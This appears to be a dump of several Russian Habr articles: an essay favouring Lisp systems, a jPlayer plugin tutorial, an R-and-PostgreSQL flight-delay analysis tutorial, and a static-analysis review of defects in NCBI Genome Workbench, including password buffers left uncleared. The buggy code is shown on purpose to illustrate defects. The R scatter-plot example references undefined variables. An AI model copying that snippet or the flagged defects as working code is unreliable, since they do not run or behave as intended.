Но ядра операционных систем и их оболочки из базовых утилит не нужны сами по себе. Нам нужен многократно больший объём прикладного ПО. Для написания прикладного ПО используют зоопарк языков программирования высокого уровня: Python, Go, C#, Java, Kotlin, Scala, JavaScript, MATLAB, Haskell, TypeScript, Bash, Lua, Julia, Erlang и другие. Мы объективно в них нуждаемся, потому что для C и C++ есть определённые пределы сложности организации ПО, при выходе за которые трудоёмкость разработки начинает резко расти. Это связано со сложностью управления ресурсами. Самая трудоёмкая часть большинства программ (я говорю об инженерии, оставляя разработку алгоритмов за скобками) - это управление ресурсами, обработка ошибок, взаимодействие с окружением и прочие оргвопросы, обеспечивающие данными основные алгоритмы программы. Поэтому без языков, отчасти автоматизирующих эту работу, при преодолении некоторого барьера сложности не обойтись. Языки высокого уровня позволяют программистам сосредотачиваться на основной логике работы программы. Они снижают пороги входа и позволяют, например, математикам больше внимания уделять математическим моделям, а не техническим деталям работы с памятью или виртуальным множественным наследованием.
В развитие и поддержку некоторых из этих языков программирования вложено огромное количество труда: JVM (некоторые не любят эту систему, но нужно признать, это шедевр программистской мысли) нисколько не проще LLVM, хотя и спроектирована на мой вкус более элегантно. И труда не только программистов. Развитие систем типов Scala, Haskell, Rust - относительно крупные научные проекты, в которых задействовано много исследователей.
Выше в этой перевёрнутой пирамиде трудозатрат расположен уровень прикладного программного обеспечения, в разработку и поддержку которого вложен (сложно подобрать иное слово) колоссальный объём труда. Этот колосс выстроен на фундаменте небывало высокого уровня разделения труда, который обеспечен средствами создания и использования абстракций и модулей в языках программирования и средствами межпроцессного взаимодействия в ядрах операционных систем.
Часто производство ПО связано с существенными непродуктивными трудозатратами. Бывает, что вдохновлённые абстрактными текстами по теории категорий или о шаблонах проектирования менеджеры или программисты вместо решения задачи занимаются выводом на околосолнечную орбиту изящных архитектур. Проводя занятия по курсу "Операционные системы", я часто сталкивался с ситуацией, когда для решения задачи, которая по задумке полностью укладывалась в 50 строчек кода на C, студенты писали по 500 или даже по 1000 строк кода на C++. Эти студенческие решения безупречно следовали учению о шаблонах проектирования, но зачастую не решали задачу полностью, упуская важные аспекты решения. К сожалению, похожая ситуация наблюдается и в индустриальном ПО, когда разработчики самозабвенно реализуют фабрики фабрик фабрик или ищут монады там, [где их нет](https://arxiv.org/pdf/1803.10195v1). Я пишу об этом не с целью оспорить важность теории категорий для практики программирования (сам нередко к ней обращаюсь), но чтобы подчеркнуть, что даже такой уровень издержек с лихвой покрывается размерами и эффективностью системы разделения труда планетарного масштаба, в которую вовлечены программисты.
Когда страну вырывают из этой системы глобального разделения труда по некоторой причине (оставим политические вопросы в стороне, сосредоточившись на вопросах технических и экономических), it-индустрия получает, пожалуй, один из самых болезненных ударов.
В этот непростой момент капитанам it-индустрии имеет смысл обратить внимание на Lisp-системы. Можно написать отдельный текст с обсуждением особенностей Lisp-систем, которые позволяют преодолевать кризис трудоёмкости. Но уместнее последовать призыву Линуса Торвальдса «Talk is cheap. Show me the code» и привести некоторые числа (замеры сделаны в Arch Linux).
* Пакет компиляторов C/C++ со всеми вспомогательными инструментами документацией и необходимыми библиотеками, построенный поверх LLVM (clang 13.0.1-2, llvm-libs 13.0.1-2, compiler-rt 13.0.1-1) занимает примерно **322MiB**.
* Пакет GCC с необходимыми библиотеками и документацией (gcc 11.2.0-4, gcc-libs 11.2.0-4) - примерно **261MiB**.
* Пактет компилятора MIT Scheme вместе с текстовым редактором, стандартными библиотеками,системой отладки, системой символьной алгебры и библиотекой численной оптимизации для решения задач механики, документацией и исходными кодами этого всего (mit-scheme 11.2-3, scmutils 20220117) - примерно **143MiB**.
* Пакет компилятора Steel Bank Common Lisp вместе со стандартной библиотекой, отладчиком и исходными кодами (sbcl 2.2.2-1) - примерно **62MiB**.
* Компилятор Chez Scheme (chez-scheme 9.5.6-2) - примерно **4MiB**.
Если взять только исполняемый машинный код самих компиляторов, то выяснится, что
* Сlang (файл `/usr/lib/libclang-cpp.so.13`) занимает около **51MiB**,
* GCC (файл `/usr/lib/gcc/x86_64-pc-linux-gnu/11.2.0/cc1plus`) - около **28MiB**.
* MIT Scheme (`.com`-файлы каталога `/usr/lib/mit-scheme-x86-64-11.2/compiler`) - около **4MiB**,
* компилятор SBCL сложно отделить от образа всей системы, образ (файл `/usr/lib/sbcl/sbcl.core`) занимает около **37MiB**.
Мне представляется, что это даёт некое представление об уровне сравнительных трудозатрат, требующихся на развитие и поддержку перечисленных нетривиальных систем программирования.
В 80-ых годах it-индустрия c Lisp-машинами была на почти текущем уровне развития ПО: с графическими интерактивными интерфейсами, векторной графикой, гипертекстовыми документами в PostScript, мультимедийными графическими редакторами 3D-графики, системами компьютерной алгебры и инженерии (см. видео).
Hidden textВ том числе, что особенно важно для создания самоподдерживающейся системы, существовали CAD системы для микроэлектроники, написанные на Lisp. В экосистеме Lisp были созданы прообразы [современных GPU](https://dspace.mit.edu/handle/1721.1/14719) и разработаны [методы их программирования](https://www.cs.cmu.edu/~blelloch/papers/Ble90.pdf).
Сделано это было с меньшими трудозатратами (просто не было такого количества инженеров, как сейчас). На более низком уровне понимания тонкостей программной инженерии. На существенно менее производительном аппаратном обеспечении. Даже наши фабрики микроэлектроники лучше того, что было доступно в те времена.
Кроме этого, порог входа в Lisp-системы для новичков существенно ниже порога входа в C, C++, Rust, Haskell, Java, JavaScript и так далее. Проще разобраться, вероятно, с основами только ассемблера или Forth. А на случай совсем уж полного Апокалипсиса, в библиотеках хранятся бумажные книги о Lisp-системах, по которым даже студенты могут создать с нуля первые версии неплохих интерпретаторов Lisp за пару месяцев, и разработать процессоры (наверное) за пару лет. На этих интерпретаторах можно быстро раскрутить более сложный код.
Таким образом, представляется, что в случае потери связи с глобальной системой разделения труда может быть оправданным более интенсивное применение Lisp-систем (или их аналогов; впрочем, аналоги по уровню документированности, разработанности, простоты, выразительности и продуктивности мне не известны).
В разбушевавшейся кризисной ситуации может возникнуть желание последовать за модными течениями и сделать ставку на продвинутые системы программирования: Rust, Haskell, Scala, Kotlin. Реализация такой стратегии столкнётся с несколькими препятствиями. Во-первых, со сложностью развития и поддержки соответствующих инструментов.
* Пакет Haskell с необходимым набором инструментов и библиотек (ghc 9.0.2-1, ghc-libs 9.0.2-1, llvm 13.0.1-2, llvm-libs 13.0.1-2) занимает около 779MiB. Без учёта LLVM - около 331MiB. Само ядро компилятора (видимо, файл `/usr/lib/ghc-9.0.2/ghc-9.0.2/libHSghc-9.0.2-ghc9.0.2.so`) - около 93MiB.
* Пакет Rust без учёта LLVM (rust 1:1.59.0-1) занимает около 508MiB. Само ядро (видимо, `/usr/lib/librustc_driver-7c0e7fab30354592.so`) -- около 119MiB.
* Пакет Scala (scala3 3.1.1-1, jre-openjdk-headless 17.0.3.u3-1) занимает около 203MiB. Без учёта JVM - около 35MiB (следует учитывать, что байткод JVM и формат `.jar` специально были разработан для как можно более компактного представления программ).
* Пакет Kotlin без учёта JVM (kotlin 1.6.10-1) - около 73.89MiB.
Во-вторых, работа этих компиляторов и требует существенных аппаратных ресурсов. В то же время, Lisp в режиме относительно эффективной jit-компиляции [может работать на процессорах Z80](https://www.makerlisp.com/) (см. видео);
Hidden text[PICOBIT Scheme](https://www.ccs.neu.edu/home/stamourv/papers/picobit.pdf) позволяет умещать http-серверы с кооперативной многозадачностью в несколько килобайтов и запускать их на микроконтроллерах; а [простейший Lisp](https://justine.lol/sectorlisp/) влезает даже в загрузочный сектор, позволяя раскручивать из пары сотен байтов полноценную систему.
В-третьих, не смотря на важные для индустрии достоинства более продвинутых языков программирования, они не позволяют быстро работать на широком фронте задач с минимальными затратами труда. Отчасти по тому, что эти системы требуют от программистов высочайшей технической квалификации, что снижает доступность таких инструментов для специалистов в других предметных областях. Видимо, поэтому за 30-лет развития в экосистеме Haskell так и не появились (я отыскать не смог) системы компьютерного проектирования, хотя бы, уровня [ICAD](https://en.wikipedia.org/wiki/ICAD_(software)), или системы компьютерной алгебры подобные [Maxima](https://maxima.sourceforge.io).
С использованием же различных диалектов Lisp, наоборот, разработали и разрабатывают широкий спектр ПО.
* [Jak and Daxter](https://www.gamedeveloper.com/design/postmortem-naughty-dog-s-i-jak-and-daxter-the-precursor-legacy-i-). В Naughty Dog использовали Lisp для сценария и описания сложных последовательностей анимации и в разработке The Last of Us.
* [Система управления массивом телескопов](http://scheme2006.cs.uchicago.edu/08-cleis.pdf).
* В [Mirai](http://lemonodor.com/archives/000256.html) создавали Голлума для трилогии «Властелин Колец».
* [Grammarly](https://www.grammarly.com/blog/engineering/running-lisp-in-production/) и [Hacker News](https://github.com/wting/hackernews) представлять не нужно.
* [Opusmodus](https://www.opusmodus.com/) - профессиональный инструмент для композиторов.
* Операционная система [Mezzano](https://github.com/froggey/Mezzano).
* Существует даже [движок Diablo 2](https://gitlab.com/lockie/d2clone-kit).
Образ Mezzano Demo 4 содержал пару игр: Doom и Quake - которые сносно работали в виртуальной машине. Любопытно, что это были программы на Common Lisp, код которых был получен транспиляцией оригинальных исполняемых файлов. Это означает, что у современных Lisp-систем всё достаточно хорошо с производительностью.
Микро-тесты [показывают](https://benchmarksgame-team.pages.debian.net/benchmarksgame/fastest/lisp.html), что скорость исполнения кода во многих случаях сопоставима со скоростью исполнения программ на Java. Иногда для этого приходится спускаться на уровень машинных инструкций, но современные Lisp позволяют это делать. Конечно, код, обгоняющий хорошо оптимизированные программы на Fortran, C, Rust или C++, компиляторы Lisp ([пока?](https://github.com/marcoheisig/Petalisp)) генерировать не могут. Однако, как заметил [Питер Норвиг](https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D1%80%D0%B2%D0%B8%D0%B3,_%D0%9F%D0%B8%D1%82%D0%B5%D1%80), хорошо оптимизированный код на C++ ещё надо суметь написать, и не всегда на это есть время. А быстро написанный код на Lisp зачастую [может быть эффективнее](https://www.norvig.com/java-lisp.html) аналогичных кодов на C++ или Java.
Подытожить вышесказанное можно так: Lisp позволяет с меньшими трудозатратами разрабатывать сложный код, который может достаточно эффективно исполняться на широком спектре оборудования. Это подтверждается историей и состоянием дел в современном компиляторостроении (компиляторы - сложные программные системы): относительно компактные SBCL и Chez Scheme могут исполнять код с эффективностью уровня более громоздкой JVM. Мой личный опыт промышленного использования Scheme тоже свидетельствует в пользу этого. В эпоху delinking-а это свойство систем семейства Lisp может помочь не уронить продуктивность it-индустрии слишком низко.
Как-то так. Благодарю за внимание. | https://habr.com/ru/post/656081/ | null | ru | null |
# jPlayer — плагин для проигрывания аудио и видео
[](http://www.jplayer.org/)Я уже писал про скрипт [audio.js](http://habrahabr.ru/blogs/javascript/110906/), позволяющий проигрывать аудио файлы использую возможности html5 и flash. Пост был встречен хорошо, поэтому сейчас я хочу рассказать про [jPlayer](http://www.jplayer.org/) — jQuery плагин для проигрывания аудио и видео.
Поддержка форматов:
* HTML5: mp3, m4a (AAC), m4v (H.264), ogv, oga, wav, webm
* Flash: mp3, m4a (AAC), m4v (H.264)
Поддерживает следующие браузеры:
* Windows: Firefox, Chrome, Opera, Safari, IE6, IE7, IE8, IE9 beta
* OSX: Firefox, Chrome, Opera, Safari
* iOS: Mobile Safari: iPad, iPhone, iPod Touch
* Android: создатели не нашли девайс для тестирования
Работает на jQuery 1.3.2+
Несколько примеров кода.
Подключаем на страницу:
```
$(document).ready(function() { /\* Код тут \*/ });
```
Проигрываем mp3:
```
$(document).ready(function() {
$("#jpId").jPlayer( {
ready: function () {
$(this).jPlayer("setMedia", {
mp3: "../mp3/elvis.mp3"
});
}
});
});
```
Разнообразим форматы:
```
$(document).ready(function() {
$("#jpId").jPlayer( {
ready: function () {
$(this).jPlayer("setMedia", {
m4a: "mp3/elvis.m4a",
oga: "ogg/elvis.ogg"
});
},
supplied: "m4a, oga",
swfPath: "/jPlayer/js"
});
});
```
Теперь видео:
```
$(function() {
$("#jpId").jPlayer( {
ready: function () {
$(this).jPlayer("setMedia", {
m4v: "http://www.myDomain.com/myVideo.m4v"
}).jPlayer("play");
},
supplied: "m4v",
swfPath: "jPlayer/js"
});
});
```
Пример с разными видео форматами:
```
$(function() { // executed when $(document).ready()
$("#jpId").jPlayer( {
ready: function () {
$(this).jPlayer("setMedia", {
m4v: "/media/myVideo.m4v",
ogv: "/media/myVideo.ogv"
}).jPlayer("play"); //Включаем авто старт
},
solution: "flash, html",
supplied: "m4v, ogv",
swfPath: "/scripts"
});
});
```
А вот так не пишем никогда:
```
$(document).ready(function() {
$("#jpId").jPlayer( {
ready: function () {
$(this).jPlayer("setMedia", {
mp3: "elvis.mp3"
});
}
});
$("#jpId").jPlayer("play"); // В этот момент плагин еще не готов
});
```
Демо можно найти [тут](http://www.jplayer.org/latest/demos/). | https://habr.com/ru/post/112776/ | null | ru | null |
# Союз R и PostgreSQL. Анализируем работу аэропортов, рассчитываем пенсии
Часть I. R извлекает и рисует
-----------------------------
Конечно, PostgreSQL с самого начала создавалась как универсальная СУБД, а не как специализированная OLAP-система. Но один из больших плюсов Постгреса — в поддержке языков программирования, с помощью которых из него можно сделать что угодно. По изобилию встроенных процедурных языков ему просто нет равных. PL/R — серверная реализация **R** — любимого языка аналитиков — один из них. Но об этом позже.
**R** – удивительный язык со своеобразными типами данных — `list`, например, может включать в себя не только данные разных типов, но и функции (вообще, язык эклектичный, и говорить о принадлежности его к определенному семейству не будем, чтобы не порождать отвлекающие дискуссии). В нем есть симпатичный тип данных `data.frame`, который подражает таблице РСУБД — это матрица, у которой столбцы содержат разные типы данных, общие на уровне столбца. Поэтому (и по другим причинам) работать в R с базами данных довольно удобно.
Мы будем работать в командной строке в среде [**RStudio**](https://www.rstudio.com/) и соединяться с PostgreSQL через драйвер **ODBC [RpostgreSQL](https://github.com/cran/RPostgreSQL)**. Их несложно установить.
Поскольку R создавался как этакий вариант языка **S** для тех, кто занимается статистикой, то и мы приведем примеры из простенькой статистики с простенькой графикой. У нас нет цели знакомить с языком, но есть цель показать взаимодействие **R и PostgreSQL**.
Обрабатывать данные, хранящиеся в PostgreSQL, можно тремя путями.
Во-первых, можно выкачать данные из базы любыми удобными средствами, упаковать их, скажем, в JSON – их понимает R – и обрабатывать дальше в R. Это обычно не самый эффективный способ и точно не самый интересный, мы его рассматривать здесь не будем.
Во-вторых, можно связываться с базой – читать из нее и сбрасывать данные в нее – из среды R как из клиента, используя драйвер ODBC/DBI, обрабатывая данные в R. Мы покажем, как это делается.
И, наконец, можно делать обработку средствами R уже на сервере базы, используя PL/R как встроенный процедурный язык. Это имеет смысл в ряде случаев, так как в R есть, например, удобные средства агрегирования данных, которых нет в `pl/pgsql`. Мы покажем и это.
Распространенный подход это использование 2-го и 3-го варианта в разных фазах проекта: сначала отладка кода как внешней программы, а затем перенос ее внутрь базы.
Начнём. R интерпретируемый язык. Поэтому можно действовать по шагам, а можно сбросить код в скрипт. Дело вкуса: примеры в этой статье коротенькие.
Сначала нужно, конечно, подключить соответствующий драйвер:
```
# install.packages("RPostgreSQL")
require("RPostgreSQL")
drv <- dbDriver("PostgreSQL")
```
Операция присвоения выглядит в R, как можно было заметить, своеобразно. Вообще в R a < — b значит то же, что и b -> a, но более распространен первый способ записи.
Базу данных возьмем готовую: *демобазу авиаперевозок*, которую используют [учебных материалах](https://postgrespro.ru/education) *Postgres Professional* На [этой странице](https://postgrespro.ru/education/demodb) можно выбрать вариант базы по вкусу (то есть по размеру) и почитать ее описание. Схему данных воспроизводим для удобства:
Предположим, что база установлена на сервере 192.168.1.100 и называется `demo`. Соединяемся:
```
con <- dbConnect(drv, dbname = "demo",
host = "192.168.1.100", port = 5434,
user = "u_r")
```
Продолжаем. Посмотрим вот таким запросом, в какие города чаще всего запаздывают рейсы:
```
SELECT ap.city, avg(extract(EPOCH FROM f.actual_arrival) - extract(EPOCH FROM f.scheduled_arrival))/60.0 t FROM airports ap, flights f WHERE ap.airport_code = f.departure_airport AND f.scheduled_arrival < f.actual_arrival AND f.departure_airport = ap.airport_code GROUP BY ap.city ORDER BY t DESC LIMIT 10;
```
Для получения минут опоздания мы использовали конструкцию postgres `extract(EPOCH FROM ...)` для извлечения «абсолютных» секунд из поля типа `timestamp` и поделили на 60.0, а не на 60, чтобы избежать отбрасывания остатка при делении, понятом как целочисленное. `EXTRACT MINUTE` использовать нельзя, так как встречаются опоздания больше часа. Усредняем времена опоздания оператором `avg`.
Передаем текст в переменную и отправляем запрос на сервер:
```
sql1 <- "SELECT ... ;"
res1 <- dbGetQuery(con, sql1)
```
Теперь разберемся, в каком виде пришел запрос. Для этого в языке R имеется функция `class()`
```
class (res1)
```
Она покажет, что результат был упакован в тип `data.frame`, то есть, напоминаем, аналог таблицы базы: фактически это матрица со столбцами произвольных типов. Она, кстати, знает названия столбцов, а к столбцам, если что, можно обращаться, например, так:
```
print (res1$city)
```
Пора задуматься, как визуализировать результаты. Для этого можно посмотреть, чем мы располагаем. Например, выбрать подходящую графику из [этого списка](https://www.tutorialspoint.com/r/r_normal_distribution.htm):
* R-Bar Charts (линейчатые)
* R-Boxplots (биржевые)
* R-Histograms (гистограммы)
* R-Line Graphs (графики)
* R-Scatterplots (точечные)
Надо иметь в виду, что для каждого вида на вход подается подходящий для картинки тип данных. Выберем линейчатую диаграмму (лежачие столбики). Для нее требуются два вектора для значений по осям. Тип «вектор» в R это просто набор однотипных значений. `c()` — конструктор векторов.
Сформировать нужные два вектора из результата типа `data.frame` можно так:
```
Time <- res1[,c('t')]
City <- res1[,c('city')]
class (Time)
class (City)
```
Выражения в правых частях выглядит странновато, но это удобный прием. Более того, в R можно очень компактно записывать различные выражения. В квадратных скобках перед запятой индекс ряда, после запятой — индекс колонки. То, что перед запятой ничего не стоит, значит всего лишь, что будут выбраны все значения из соответствующей колонки.
Класс Time получится `numeric`, а класс City — `character`. Это разновидности векторов.
Теперь можно заняться самой визуализацией. Надо задать файл картинки.
```
png(file = "/home/igor_le/R/pics/bars_horiz.png")
```
После этого следует нудноватая процедура: задать параметры (`par`) графиков. И не сказать, чтобы всё в графических пакетах R было интуитивно. Например, параметр `las` определяет положение надписей со значениям по осям относительно самих осей:
* 0 и по умолчанию — параллельно осям;
* 1 — всегда горизонтально;
* 2 — перпендикулярно осям;
* 3 — всегда вертикально
Все параметры расписывать не будем. Вообще их много: поля, масштабы, цвета — ищите, экспериментируйте на досуге.
```
par(las=1)
par(mai=c(1,2,1,1))
```
Наконец, строим график из лежачих столбиков:
```
barplot(Time, names.arg=City, horiz=TRUE, xlab="Опоздание (мин)", col="green", main="Среднее время опоздания", border="red", cex.names=0.9)
```
Это не всё. Надо сказать напоследок:
```
dev.off()
```
Для разнообразия нарисуем еще точечную диаграмму опозданий. Из запроса уберем LIMIT, остальное то же самое. Но точечной диаграмме нужен один вектор, а не два.
```
Dots <- res2[,c('t')]
png(file = "/home/igor_le/R/scripts/scatter.png")
plot(input5, xlab="Кучность",ylab="Опоздания",main="Распределение опозданий")
dev.off()
```
Для визуализации мы использовали стандартные пакеты. Понятно, что R язык популярный и пакетов существует примерно бесконечность. Об уже установленных можно спросить так:
```
library()
```
Часть II. R генерирует пенсионеров
----------------------------------
R удобно использовать не только для анализа данных, но и для их генерации. Где есть богатые статистические функции, там не может не быть разнообразных алгоритмов создания случайных последовательностей. В том числе можно использовать типичные (Гауссовские) и не совсем типичные (Ципфовские) распределения и для симуляции запросов к базе.
Но об этом в следующей части. | https://habr.com/ru/post/427571/ | null | ru | null |
# NCBI Genome Workbench: научные исследования под угрозой
Современные компьютерные технологии, технические и программные решения — всё это сильно облегчает и ускоряет проведение различных научных исследований. Зачастую компьютерное моделирование — единственный способ проверки многих теорий. Научный софт имеет свои особенности. Например, такой софт зачастую подвергается очень тщательному тестированию, но слабо документирован. Тем не менее программное обеспечение пишется людьми, а люди допускают ошибки. Ошибки в научных программах могут ставить под сомнение целые исследования. В этой статье будут приведены десятки проблем, обнаруженных в коде пакета программ NCBI Genome Workbench.
Введение
--------
[NCBI Genome Workbench](https://www.ncbi.nlm.nih.gov/tools/gbench/) предлагает исследователям большой набор инструментов для изучения и анализа генетических данных. Пользователи могут исследовать и сравнивать данные из нескольких источников, включая базы данных NCBI (National Center for Biotechnology Information) или собственных личных данных.
Как уже говорилось ранее, научный софт обычно хорошо покрыт unit-тестами. При проверке этого проекта из анализа было исключено 85 каталогов с файлами тестов. Это около тысячи файлов. Наверное, это обусловлено требованиями к тестированию разных сложных алгоритмов, которые изобретаются для тех или иных исследований. Но качество остального кода (не тестового) находится не на таком высоком уровне, как хотелось бы. Впрочем, как и в любом проекте, в котором ещё не позаботились о внедрении инструментов статического анализа кода :).
Данные для обзора (или даже исследования) кода были предоставлены статическим анализатором кода для C/C++/C#/Java — [PVS-Studio](https://www.viva64.com/ru/pvs-studio/).
Всего две цифры, которые испортят ваш проект
--------------------------------------------
На основе нашей базы ошибок, которая на данный момент составляет более 12 тысяч отборных примеров, мы замечаем и описываем особые паттерны написания кода, которые приводят к многочисленным ошибкам. Например, мы проводили следующие исследования:
1. [Эффект последней строки](https://www.viva64.com/ru/b/0260/);
2. [Самая опасная функция в мире С/С++](https://www.viva64.com/ru/b/0360/);
3. [Логические выражения в C/C++. Как ошибаются профессионалы](https://www.viva64.com/ru/b/0390/);
4. [Зло живёт в функциях сравнения](https://www.viva64.com/ru/b/0509/).
Этот проект положил начало описанию нового паттерна. Речь идёт о цифрах **1** и **2** в названиях переменных, например, *file1* и *file2* и т.п. Очень легко перепутать две таких переменных. Это частный случай опечаток в коде, но к появлению таких ошибок приводит одно — желание работать с одноимёнными переменными, различающихся только цифрами 1 и 2 в конце имени.
Немного забегая вперёд, скажу, что все перечисленные исследования нашли своё подтверждение в коде этого проекта :D.
Рассмотрим первый пример из проекта Genome Workbench:
[V501](https://www.viva64.com/ru/w/v501/) There are identical sub-expressions '(!loc1.IsInt() &&!loc1.IsWhole())' to the left and to the right of the '||' operator. nw\_aligner.cpp 480
```
CRef CNWAligner::Run(CScope &scope, const CSeq\_loc &loc1,
const CSeq\_loc &loc2,
bool trim\_end\_gaps)
{
if ((!loc1.IsInt() && !loc1.IsWhole()) ||
(!loc1.IsInt() && !loc1.IsWhole()))
{
NCBI\_THROW(CException, eUnknown,
"Only whole and interval locations supported");
}
....
}
```
Мы видим две переменные с именами *loc1* и *loc2*. А также ошибку в коде: переменная *loc2* не используется, потому что вместо неё лишний раз используется *loc1*.
Другой пример:
[V560](https://www.viva64.com/ru/w/v560/) A part of conditional expression is always false: s1.IsSet(). valid\_biosource.cpp 3073
```
static bool s_PCRPrimerSetLess(const CPCRPrimerSet& s1, const CPCRPrimerSet& s2)
{
if (!s1.IsSet() && s1.IsSet()) {
return true;
} else if (s1.IsSet() && !s2.IsSet()) {
return false;
} else if (!s1.IsSet() && !s2.IsSet()) {
return false;
} else if (s1.Get().size() < s2.Get().size()) {
return true;
} else if (s1.Get().size() > s2.Get().size()) {
return false;
} else {
.....
}
```
В первой же строке кода перепутали переменные *s1* и *s2*. Исходя из названия, это функция сравнения. Но такая ошибка может быть где угодно, потому что, назвав переменные *Номер1* и *Номер2*, программист почти наверняка сделает ошибку в будущем. И чем больше использований таких имен в функции, тем выше вероятность совершить ошибку.
Другие опечатки и copy-paste
----------------------------
[V501](https://www.viva64.com/ru/w/v501/) There are identical sub-expressions to the left and to the right of the '!=' operator: bd.bit\_.bits[i] != bd.bit\_.bits[i] bm.h 296
```
bool compare_state(const iterator_base& ib) const
{
....
if (this->block_type_ == 0
{
if (bd.bit_.ptr != ib_db.bit_.ptr) return false;
if (bd.bit_.idx != ib_db.bit_.idx) return false;
if (bd.bit_.cnt != ib_db.bit_.cnt) return false;
if (bd.bit_.pos != ib_db.bit_.pos) return false;
for (unsigned i = 0; i < bd.bit_.cnt; ++i)
{
if (bd.bit_.bits[i] != bd.bit_.bits[i]) return false;
}
}
....
}
```
Я полагаю, что после всех проверок размеры массивов *bits* у объектов *bd.bit\_* и *ib\_db.bit\_* равны. Поэтому автор кода написал один цикл для поэлементного сравнения массивов *bits*, но сделал опечатку в имени одного из сравниваемых объектов. В итоге сравниваемые объекты ошибочно могут быть признаны равными в некоторых ситуациях.
Этот пример достоин статьи "[Зло живёт в функциях сравнения](https://www.viva64.com/ru/b/0509/)".
[V501](https://www.viva64.com/ru/w/v501/) There are identical sub-expressions 'CFieldHandler::QualifierNamesAreEquivalent(field, kFieldTypeSeqId)' to the left and to the right of the '||' operator. field\_handler.cpp 152
```
bool CFieldHandlerFactory::s_IsSequenceIDField(const string& field)
{
if ( CFieldHandler::QualifierNamesAreEquivalent(field, kFieldTypeSeqId)
|| CFieldHandler::QualifierNamesAreEquivalent(field, kFieldTypeSeqId)) {
return true;
} else {
return false;
}
}
```
Скорее всего, одна из проверок является лишней. Я не нашёл в коде переменных, похожих на *kFieldTypeSeqId*. Тем не менее тут возможен лишний вызов функции из-за оператора "||", что ухудшает производительность.
Ещё пара однотипных мест с предупреждением анализатора, требующих проверки:
* V501 There are identical sub-expressions 'uf->GetData().IsBool()' to the left and to the right of the '&&' operator. variation\_utils.cpp 1711
* V501 There are identical sub-expressions 'uf->GetData().IsBool()' to the left and to the right of the '&&' operator. variation\_utils.cpp 1735
[V766](https://www.viva64.com/ru/w/v766/) An item with the same key 'kArgRemote' has already been added. blast\_args.cpp 3262
```
void
CBlastAppArgs::x_IssueWarningsForIgnoredOptions(const CArgs& args)
{
set can\_override;
....
can\_override.insert(kArgOutputFormat);
can\_override.insert(kArgNumDescriptions);
can\_override.insert(kArgNumAlignments);
can\_override.insert(kArgMaxTargetSequences);
can\_override.insert(kArgRemote); // <=
can\_override.insert(kArgNumThreads);
can\_override.insert(kArgInputSearchStrategy);
can\_override.insert(kArgRemote); // <=
can\_override.insert("remote\_verbose");
can\_override.insert("verbose");
....
}
```
Анализатор обнаружил добавление 2-х одинаковых значений в контейнер *set*. Напомним, что данный контейнер хранит только уникальные значения, поэтому дубликаты в него не добавляются.
Код, подобный приведенному выше, часто пишется методом copy-paste. Тут может быть просто лишнее значение, или, возможно, автор забыл переименовать одну из переменных, когда скопировал. При удалении лишнего вызова *insert* код немного оптимизируется, что, впрочем, не существенно. Намного важнее, что здесь может скрываться серьезная ошибка из-за пропущенного элемента в множестве.
[V523](https://www.viva64.com/ru/w/v523/) The 'then' statement is equivalent to the subsequent code fragment. vcf\_reader.cpp 1105
```
bool
CVcfReader::xAssignFeatureLocationSet(....)
{
....
if (data.m_SetType == CVcfData::ST_ALL_DEL) {
if (data.m_strRef.size() == 1) {
//deletion of a single base
pFeat->SetLocation().SetPnt().SetPoint(data.m_iPos-1);
pFeat->SetLocation().SetPnt().SetId(*pId);
}
else {
pFeat->SetLocation().SetInt().SetFrom(data.m_iPos-1);
//-1 for 0-based,
//another -1 for inclusive end-point ( i.e. [], not [) )
pFeat->SetLocation().SetInt().SetTo(
data.m_iPos -1 + data.m_strRef.length() - 1);
pFeat->SetLocation().SetInt().SetId(*pId);
}
return true;
}
//default: For MNV's we will use the single starting point
//NB: For references of size >=2, this location will not
//match the reference allele. Future Variation-ref
//normalization code will address these issues,
//and obviate the need for this code altogether.
if (data.m_strRef.size() == 1) {
//deletion of a single base
pFeat->SetLocation().SetPnt().SetPoint(data.m_iPos-1);
pFeat->SetLocation().SetPnt().SetId(*pId);
}
else {
pFeat->SetLocation().SetInt().SetFrom(data.m_iPos-1);
pFeat->SetLocation().SetInt().SetTo(
data.m_iPos -1 + data.m_strRef.length() - 1);
pFeat->SetLocation().SetInt().SetId(*pId);
}
return true;
}
```
Функция содержит крупные и полностью идентичные фрагменты кода. При этом они содержат разные сопроводительные комментарии. Код написан не оптимально, запутанно и, возможно, содержит ошибку.
Весь список подозрительных мест с оператором if-else выглядит так:
* V523 The 'then' statement is equivalent to the 'else' statement. blk.c 2142
* V523 The 'then' statement is equivalent to the subsequent code fragment. odbc.c 379
* V523 The 'then' statement is equivalent to the subsequent code fragment. odbc.c 1414
* V523 The 'then' statement is equivalent to the 'else' statement. seqdbvol.cpp 1922
* V523 The 'then' statement is equivalent to the 'else' statement. seqdb\_demo.cpp 466
* V523 The 'then' statement is equivalent to the subsequent code fragment. blast\_engine.c 1917
* V523 The 'then' statement is equivalent to the 'else' statement. blast\_filter.c 420
* V523 The 'then' statement is equivalent to the 'else' statement. blast\_parameters.c 636
* V523 The 'then' statement is equivalent to the 'else' statement. unordered\_spliter.cpp 684
* V523 The 'then' statement is equivalent to the 'else' statement. bme.cpp 333
* V523 The 'then' statement is equivalent to the 'else' statement. gme.cpp 484
/\* with security is best be pedantic \*/
-----------------------------------------
[V597](https://www.viva64.com/ru/w/v597/) The compiler could delete the 'memset' function call, which is used to flush 'passwd\_buf' buffer. The memset\_s() function should be used to erase the private data. challenge.c 366
```
/**
* Crypt a given password using schema required for NTLMv1 authentication
* @param passwd clear text domain password
* @param challenge challenge data given by server
* @param flags NTLM flags from server side
* @param answer buffer where to store crypted password
*/
void
tds_answer_challenge(....)
{
#define MAX_PW_SZ 14
....
if (ntlm_v == 1) {
....
/* with security is best be pedantic */
memset(hash, 0, sizeof(hash));
memset(passwd_buf, 0, sizeof(passwd_buf));
memset(ntlm2_challenge, 0, sizeof(ntlm2_challenge));
} else {
....
}
}
```
Как вы уже, наверное, догадались, в названии раздела использован забавный комментарий про безопасность из кода.
Если вкратце, то функция *memset* будет удалена компилятором, потому что очищаемые буферы больше не используются. И такие данные, как *hash* или *passwd\_buf*, на самом деле не будут затёрты нулями. Более подробно об этом неочевидном механизме компилятора можно узнать из статьи "[Безопасная очистка приватных данных](https://www.viva64.com/ru/b/0388/)".
[V597](https://www.viva64.com/ru/w/v597/) The compiler could delete the 'memset' function call, which is used to flush 'answer' object. The memset\_s() function should be used to erase the private data. challenge.c 561
```
static TDSRET
tds7_send_auth(....)
{
....
/* for security reason clear structure */
memset(&answer, 0, sizeof(TDSANSWER));
return tds_flush_packet(tds);
}
```
